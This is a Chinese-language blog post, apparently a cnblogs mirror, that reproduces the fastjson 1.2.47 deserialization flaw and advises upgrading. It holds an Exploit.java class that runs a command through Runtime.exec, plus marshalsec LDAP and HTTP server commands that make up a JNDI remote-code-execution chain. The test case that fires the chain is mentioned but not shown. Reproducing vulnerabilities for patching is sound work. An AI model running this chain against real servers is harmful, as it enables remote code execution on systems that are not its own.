zoukankan      html  css  js  c++  java
  • fastjson =< 1.2.47 反序列化漏洞复现

    fastjson =< 1.2.47 反序列化漏洞复现

    HW期间爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升级到> 1.2.47版本(保险起见,建议升级到最新版)

    复现详情

    环境

    • win10
    • fastjson 1.2.47
    • jdk 1.8.1
    • marshalsec

    环境过程

    首先先创建maven项目,下载fastjson版本为1.2.47

    <dependencies>
            <dependency>
                <groupId>com.alibaba</groupId>
                <artifactId>fastjson</artifactId>
                <version>1.2.47</version>
            </dependency>
    </dependencies>
    

    创建一个Exploit.java文件,Java 编译一下生成 Exploit.class 文件

    exploit.java内容

    public class Exploit {
    
            static {
                    System.err.println("Pwned");
                    try {
                            String[] cmd = {"calc"};
                            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
                    } catch ( Exception e ) {
                            e.printStackTrace();
                    }
            }
    }
    

    然后启动http服务,这边利用python的SimpleHTTPServer来启动。

    python2 -m SimpleHTTPServer
    

    再利用marshalsec转发,创建一个ldap服务器

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit"
    

    最后编写了一个测试用例

    运行即可触发漏洞。

    修复意见

    尽快将fastjson升级至1.2.48及以上的版本。

  • 相关阅读:
    剑指offer——最小的K个数和数组中第K大的元素
    Leetcode刷题指南链接整理
    160. Intersection of Two Linked Lists
    100. Same Tree
    92. Reverse Linked List II
    94. Binary Tree Inorder Traversal
    79. Word Search
    78,90,Subsets,46,47,Permutations,39,40 DFS 大合集
    0x16 Tire之最大的异或对
    0x16 Tire
  • 原文地址:https://www.cnblogs.com/zhengjim/p/11433926.html
Copyright © 2011-2022 走看看